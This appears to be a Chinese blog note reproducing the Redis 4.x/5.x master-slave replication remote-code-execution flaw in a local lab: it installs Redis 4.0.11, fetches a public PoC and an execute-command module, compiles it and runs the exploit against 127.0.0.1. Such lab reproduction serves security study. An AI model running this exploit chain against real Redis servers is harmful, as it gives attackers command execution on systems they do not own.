Redis 4.x 5.x漏洞手動復現
- 2020 年 3 月 6 日
- 筆記
前言:
Redis是一個開源的使用ANSI C語言編寫、支援網路、可基於記憶體亦可持久化的日誌型、Key-Value資料庫,並提供多種語言的API。
近期,Redis被爆出存在通過主從複製從而Getshell的漏洞。
以下是漏洞說明以及利用步驟
一、環境搭建
環境介紹:KAIL 2019 、 VM
環境搭建命令如下
cd / wget download.redis.io/releases/redis-4.0.11.tar.gz tar zxf redis-4.0.11.tar.gz cd redis-4.0.11 make PREFIX=/usr/local/redis install

檢查安裝是否有問題
make test
如果報錯了:
yum -y install tcl
將源碼中redis.conf拷貝到/usr/local/redis目錄
cp /redis-4.0.11/redis.conf /usr/local/redis
修改redis.conf中「daemonize no」為「daemonize yes」,表示redis以後台的方式啟動
cd /usr/local/redis vi redis.conf
伺服器啟動
/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf
查看進程
ps -ef| grep redis
測試:

服務端停止服務
/usr/local/redis/bin/redis-cli shutdown
二、POC下載
https://github.com/Ridter/redis-rce
三、分析案例
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
四、編譯SO地址
https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
五、漏洞復現
1、後台啟動
/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf

2、編譯文件下載並且編譯
root@solitary:/usr/local/redis# git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

root@solitary:/usr/local/redis# cd RedisModules-ExecuteCommand/ root@solitary:/usr/local/redis/RedisModules-ExecuteCommand# make root@solitary:/usr/local/redis/RedisModules-ExecuteCommand/src# ls Makefile module.c module.o module.so

3、漏洞利用
將POC放入這個目錄

4、運行腳本
root@solitary:/usr/local/redis/RedisModules-ExecuteCommand/src# python redis-rce.py -r 127.0.0.1 -L 127.0.0.1 -f module.so
輸入i

利用成功